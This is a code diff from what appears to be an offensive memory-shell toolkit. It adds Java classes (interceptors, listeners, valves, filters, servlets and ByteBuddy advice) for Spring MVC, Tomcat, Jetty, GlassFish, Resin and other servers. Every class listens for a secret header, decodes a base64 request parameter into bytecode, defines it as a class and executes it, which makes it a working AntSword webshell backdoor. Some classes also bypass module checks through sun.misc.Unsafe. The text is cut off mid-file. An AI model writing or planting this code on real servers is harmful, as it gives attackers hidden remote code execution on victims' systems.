org.springframework.web.servlet.ModelAndView; + +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; + +/** + * @author ReaJason + * @since 2025/02/18 + */ +public class AntSwordInterceptor extends ClassLoader implements AsyncHandlerInterceptor { + public static String pass; + public static String headerName; + public static String headerValue; + + @SuppressWarnings("all") + public Class g(byte[] b) { + return super.defineClass(b, 0, b.length); + } + + public AntSwordInterceptor(ClassLoader c) { + super(c); + } + + + public AntSwordInterceptor() { + } + + @Override + public boolean preHandle(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + try { + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = (new AntSwordInterceptor(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } catch (Exception e) { + e.printStackTrace(); + } + return false; + } else { + return true; + } + } + + @Override + public void postHandle(HttpServletRequest request, HttpServletResponse response, Object handler, ModelAndView modelAndView) throws Exception { + + } + + @Override + public void afterCompletion(HttpServletRequest request, HttpServletResponse response, Object handler, Exception ex) throws Exception { + + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @Override + public void afterConcurrentHandlingStarted(HttpServletRequest request, HttpServletResponse response, Object handler) throws Exception { + + } +} diff --git a/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/antsword/AntSwordServletAdvisor.java b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/antsword/AntSwordServletAdvisor.java new file mode 100644 index 00000000..22314615 --- /dev/null +++ b/memshell-java8/src/main/java/com/reajason/javaweb/memshell/springwebmvc/antsword/AntSwordServletAdvisor.java @@ -0,0 +1,62 @@ +package com.reajason.javaweb.memshell.springwebmvc.antsword; + +import net.bytebuddy.asm.Advice; + +import java.lang.reflect.Field; +import java.lang.reflect.Method; + +/** + * @author ReaJason + * @since 2025/02/18 + */ +public class AntSwordServletAdvisor { + @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) + public static boolean enter( + @Advice.Argument(value = 0) Object request, + @Advice.Argument(value = 1) Object response, + @Advice.Origin Class targetClazz + ) { + String pass = "pass"; + String headerName = "headerName"; + String headerValue = "headerValue"; + try { + Class unsafeClass = Class.forName("sun.misc.Unsafe"); + Field unsafeField = unsafeClass.getDeclaredField("theUnsafe"); + unsafeField.setAccessible(true); + Object unsafe = unsafeField.get(null); + Object module = Class.class.getMethod("getModule").invoke(Object.class, (Object[]) null); + Method objectFieldOffsetM = unsafe.getClass().getMethod("objectFieldOffset", Field.class); + Long offset = (Long) objectFieldOffsetM.invoke(unsafe, Class.class.getDeclaredField("module")); + Method getAndSetObjectM = unsafe.getClass().getMethod("getAndSetObject", Object.class, long.class, Object.class); + getAndSetObjectM.invoke(unsafe, targetClazz, offset, module); + } catch (Exception ignored) { + } + try { + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null + && value.contains(headerValue)) { + byte[] data = null; + Class base64; + String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); + try { + base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader()); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter); + } catch (Exception var6) { + base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader()); + Object decoder = base64.newInstance(); + data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter); + } + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class payload = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length); + Object instance = payload.newInstance(); + instance.equals(new Object[]{request, response}); + return true; + } + } catch (Exception e) { + e.printStackTrace(); + } + return false; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/antsword/AntSwordListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/antsword/AntSwordListener.java new file mode 100644 index 00000000..9218e804 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/apusic/antsword/AntSwordListener.java @@ -0,0 +1,92 @@ +package com.reajason.javaweb.memshell.apusic.antsword; + +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.Field; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class AntSwordListener extends ClassLoader implements ServletRequestListener { + public static String pass; + public static String headerName; + public static String headerValue; + + public AntSwordListener() { + } + + public AntSwordListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = getResponseFromRequest(request); + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + return (HttpServletResponse) getFieldValue(getFieldValue(request, "parameters"), "response"); + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/bes/antsword/AntSwordValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/antsword/AntSwordValve.java new file mode 100644 index 00000000..2852dbcd --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/bes/antsword/AntSwordValve.java @@ -0,0 +1,88 @@ +package com.reajason.javaweb.memshell.bes.antsword; + +import com.bes.enterprise.webtier.Valve; +import com.bes.enterprise.webtier.connector.Request; +import com.bes.enterprise.webtier.connector.Response; + +import javax.servlet.ServletException; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2025/02/18 + */ +public class AntSwordValve extends ClassLoader implements Valve { + public static String pass; + public static String headerName; + public static String headerValue; + protected Valve next; + protected boolean asyncSupported; + + public AntSwordValve() { + } + + public AntSwordValve(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception var5) { + } + } + return value; + } + + @SuppressWarnings("all") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } + + @Override + @SuppressWarnings("all") + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = (new AntSwordValve(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } else { + this.getNext().invoke(request, response); + } + } catch (Exception e) { + e.printStackTrace(); + this.getNext().invoke(request, response); + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/antsword/AntSwordListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/antsword/AntSwordListener.java new file mode 100644 index 00000000..327f9838 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/glassfish/antsword/AntSwordListener.java @@ -0,0 +1,103 @@ +package com.reajason.javaweb.memshell.glassfish.antsword; + +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.Field; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class AntSwordListener extends ClassLoader implements ServletRequestListener { + public static String pass; + public static String headerName; + public static String headerValue; + + public AntSwordListener() { + } + + public AntSwordListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = getResponseFromRequest(request); + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "request"), "response"); + } catch (Exception e) { + try { + response = (HttpServletResponse) getFieldValue(request, "response"); + } catch (Exception ee) { + // glassfish7 + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "reqFacHelper"), "response"); + } + } + return response; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/antsword/AntSwordHandlerAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/antsword/AntSwordHandlerAdvisor.java new file mode 100644 index 00000000..3f764e10 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/antsword/AntSwordHandlerAdvisor.java @@ -0,0 +1,50 @@ +package com.reajason.javaweb.memshell.jetty.antsword; + +import net.bytebuddy.asm.Advice; + +import java.lang.reflect.Method; + +/** + * @author ReaJason + */ +public class AntSwordHandlerAdvisor { + + @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) + public static boolean enter( + @Advice.Argument(value = 1) Object baseRequest, + @Advice.Argument(value = 2) Object request, + @Advice.Argument(value = 3) Object response + ) { + String pass = "pass"; + String headerName = "headerName"; + String headerValue = "headerValue"; + try { + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null + && value.contains(headerValue)) { + baseRequest.getClass().getMethod("setHandled", boolean.class).invoke(baseRequest, true); + byte[] data = null; + Class base64; + String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); + try { + base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader()); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter); + } catch (Exception var6) { + base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader()); + Object decoder = base64.newInstance(); + data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter); + } + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class payload = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length); + Object instance = payload.newInstance(); + instance.equals(new Object[]{request, response}); + return true; + } + } catch (Exception e) { + e.printStackTrace(); + } + return false; + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/antsword/AntSwordListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/antsword/AntSwordListener.java new file mode 100644 index 00000000..158fc603 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/jetty/antsword/AntSwordListener.java @@ -0,0 +1,98 @@ +package com.reajason.javaweb.memshell.jetty.antsword; + +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.Field; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class AntSwordListener extends ClassLoader implements ServletRequestListener { + public static String pass; + public static String headerName; + public static String headerValue; + + public AntSwordListener() { + } + + public AntSwordListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = getResponseFromRequest(request); + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + try { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_channel"), "_response"); + } catch (Exception e) { + response = (HttpServletResponse) getFieldValue(getFieldValue(request, "_connection"), "_response"); + } + return response; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/resin/antsword/AntSwordListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/antsword/AntSwordListener.java new file mode 100644 index 00000000..a15d1021 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/resin/antsword/AntSwordListener.java @@ -0,0 +1,94 @@ +package com.reajason.javaweb.memshell.resin.antsword; + +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.lang.reflect.Field; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class AntSwordListener extends ClassLoader implements ServletRequestListener { + public static String pass; + public static String headerName; + public static String headerValue; + + public AntSwordListener() { + } + + public AntSwordListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @SuppressWarnings("deprecation") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public void requestDestroyed(ServletRequestEvent servletRequestEvent) { + } + + @Override + @SuppressWarnings("all") + public void requestInitialized(ServletRequestEvent servletRequestEvent) { + HttpServletRequest request = (HttpServletRequest) servletRequestEvent.getServletRequest(); + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + HttpServletResponse response = getResponseFromRequest(request); + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = (new AntSwordListener(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } + } catch (Exception ignored) { + } + } + + private HttpServletResponse getResponseFromRequest(HttpServletRequest request) throws Exception { + HttpServletResponse response = null; + response = (HttpServletResponse) getFieldValue(request, "_response"); + return response; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilter.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilter.java new file mode 100644 index 00000000..d76f6821 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilter.java @@ -0,0 +1,80 @@ +package com.reajason.javaweb.memshell.shelltool.antsword; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.io.IOException; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2025/02/18 + */ +public class AntSwordFilter extends ClassLoader implements Filter { + public static String pass; + public static String headerName; + public static String headerValue; + + @SuppressWarnings("all") + public Class g(byte[] b) { + return super.defineClass(b, 0, b.length); + } + + public AntSwordFilter() { + } + + public AntSwordFilter(ClassLoader c) { + super(c); + } + + @Override + @SuppressWarnings("all") + public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException { + HttpServletRequest request = (HttpServletRequest) servletRequest; + HttpServletResponse response = (HttpServletResponse) servletResponse; + + try { + if (request.getHeader(this.headerName) != null && request.getHeader(this.headerName).contains(this.headerValue)) { + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = (new AntSwordFilter(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } else { + filterChain.doFilter(servletRequest, servletResponse); + } + } catch (Exception e) { + filterChain.doFilter(servletRequest, servletResponse); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @Override + public void init(FilterConfig filterConfig) throws ServletException { + } + + @Override + public void destroy() { + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilterChainAdvisor.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilterChainAdvisor.java new file mode 100644 index 00000000..0023a523 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordFilterChainAdvisor.java @@ -0,0 +1,51 @@ +package com.reajason.javaweb.memshell.shelltool.antsword; + +import net.bytebuddy.asm.Advice; + +import java.io.BufferedReader; +import java.lang.reflect.Field; +import java.lang.reflect.Method; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + */ +public class AntSwordFilterChainAdvisor { + + @Advice.OnMethodEnter(skipOn = Advice.OnNonDefaultValue.class) + public static boolean enter( + @Advice.Argument(value = 0) Object request, + @Advice.Argument(value = 1) Object response + ) { + String pass = "pass"; + String headerName = "headerName"; + String headerValue = "headerValue"; + try { + String value = (String) request.getClass().getMethod("getHeader", String.class).invoke(request, headerName); + if (value != null && value.contains(headerValue)) { + byte[] data = null; + Class base64; + String parameter = (String) request.getClass().getMethod("getParameter", String.class).invoke(request, pass); + try { + base64 = Class.forName("java.util.Base64", true, Thread.currentThread().getContextClassLoader()); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + data = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, parameter); + } catch (Exception var6) { + base64 = Class.forName("sun.misc.BASE64Decoder", true, Thread.currentThread().getContextClassLoader()); + Object decoder = base64.newInstance(); + data = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, parameter); + } + Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, int.class, int.class); + defineClass.setAccessible(true); + Class payload = (Class) defineClass.invoke(Thread.currentThread().getContextClassLoader(), data, 0, data.length); + Object instance = payload.newInstance(); + instance.equals(new Object[]{request, response}); + return true; + } + } catch (Exception e) { + e.printStackTrace(); + } + return false; + } +} \ No newline at end of file diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordServlet.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordServlet.java new file mode 100644 index 00000000..a0c20a84 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordServlet.java @@ -0,0 +1,85 @@ +package com.reajason.javaweb.memshell.shelltool.antsword; + +import javax.servlet.*; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2025/02/18 + */ +public class AntSwordServlet extends ClassLoader implements Servlet { + + public static String pass; + public static String headerName; + public static String headerValue; + + @Override + @SuppressWarnings("all") + public void service(ServletRequest req, ServletResponse res) throws ServletException, IOException { + HttpServletRequest request = (HttpServletRequest) req; + HttpServletResponse response = (HttpServletResponse) res; + try { + if (request.getHeader(headerName) != null && request.getHeader(headerName).contains(headerValue)) { + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = (new AntSwordServlet(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } + } catch (Exception ignored) { + + } + } + + @Override + public String getServletInfo() { + return ""; + } + + @Override + public void destroy() { + + } + + public AntSwordServlet() { + } + + public AntSwordServlet(ClassLoader parent) { + super(parent); + } + + @SuppressWarnings("all") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception ignored) { + } + } + return value; + } + + @Override + public void init(ServletConfig config) throws ServletException { + + } + + @Override + public ServletConfig getServletConfig() { + return null; + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordValve.java b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordValve.java new file mode 100644 index 00000000..d4bbbd58 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/shelltool/antsword/AntSwordValve.java @@ -0,0 +1,88 @@ +package com.reajason.javaweb.memshell.shelltool.antsword; + +import org.apache.catalina.Valve; +import org.apache.catalina.connector.Request; +import org.apache.catalina.connector.Response; + +import javax.servlet.ServletException; +import java.io.IOException; + +/** + * @author ReaJason + * @since 2025/02/18 + */ +public class AntSwordValve extends ClassLoader implements Valve { + public static String pass; + public static String headerName; + public static String headerValue; + protected Valve next; + protected boolean asyncSupported; + + public AntSwordValve() { + } + + public AntSwordValve(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = Class.forName("java.util.Base64"); + Object decoder = base64.getMethod("getDecoder", (Class[]) null).invoke(base64, (Object[]) null); + value = (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, bs); + } catch (Exception var6) { + try { + base64 = Class.forName("sun.misc.BASE64Decoder"); + Object decoder = base64.newInstance(); + value = (byte[]) decoder.getClass().getMethod("decodeBuffer", String.class).invoke(decoder, bs); + } catch (Exception var5) { + } + } + return value; + } + + @SuppressWarnings("all") + public Class g(byte[] cb) { + return super.defineClass(cb, 0, cb.length); + } + + @Override + public Valve getNext() { + return this.next; + } + + @Override + public void setNext(Valve valve) { + this.next = valve; + } + + @Override + public boolean isAsyncSupported() { + return this.asyncSupported; + } + + @Override + public void backgroundProcess() { + } + + @Override + @SuppressWarnings("all") + public void invoke(Request request, Response response) throws IOException, ServletException { + try { + if (request.getHeader(headerName) != null + && request.getHeader(headerName).contains(headerValue)) { + byte[] bytes = base64Decode(request.getParameter(pass)); + Object instance = (new AntSwordValve(this.getClass().getClassLoader())).g(bytes).newInstance(); + instance.equals(new Object[]{request, response}); + } else { + this.getNext().invoke(request, response); + } + } catch (Exception e) { + e.printStackTrace(); + this.getNext().invoke(request, response); + } + } +} diff --git a/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/antsword/AntSwordListener.java b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/antsword/AntSwordListener.java new file mode 100644 index 00000000..3bcd1bc0 --- /dev/null +++ b/memshell/src/main/java/com/reajason/javaweb/memshell/tomcat/antsword/AntSwordListener.java @@ -0,0 +1,105 @@ +package com.reajason.javaweb.memshell.tomcat.antsword; + +import com.reajason.javaweb.memshell.shelltool.antsword.AntSwordFilter; + +import javax.crypto.Cipher; +import javax.crypto.spec.SecretKeySpec; +import javax.servlet.ServletRequestEvent; +import javax.servlet.ServletRequestListener; +import javax.servlet.http.HttpServletRequest; +import javax.servlet.http.HttpServletResponse; +import javax.servlet.http.HttpSession; +import java.lang.reflect.Field; +import java.util.HashMap; +import java.util.Map; + +/** + * @author ReaJason + * @since 2024/12/21 + */ +public class AntSwordListener extends ClassLoader implements ServletRequestListener { + public static String pass; + public static String headerName; + public static String headerValue; + + public AntSwordListener() { + } + + public AntSwordListener(ClassLoader z) { + super(z); + } + + @SuppressWarnings("all") + public static Object getFieldValue(Object obj, String name) throws Exception { + Field field = null; + Class clazz = obj.getClass(); + while (clazz != Object.class) { + try { + field = clazz.getDeclaredField(name); + break; + } catch (NoSuchFieldException var5) { + clazz = clazz.getSuperclass(); + } + } + if (field == null) { + throw new NoSuchFieldException(name); + } else { + field.setAccessible(true); + return field.get(obj); + } + } + + @SuppressWarnings("all") + public static byte[] base64Decode(String bs) { + byte[] value = null; + Class base64; + try { + base64 = 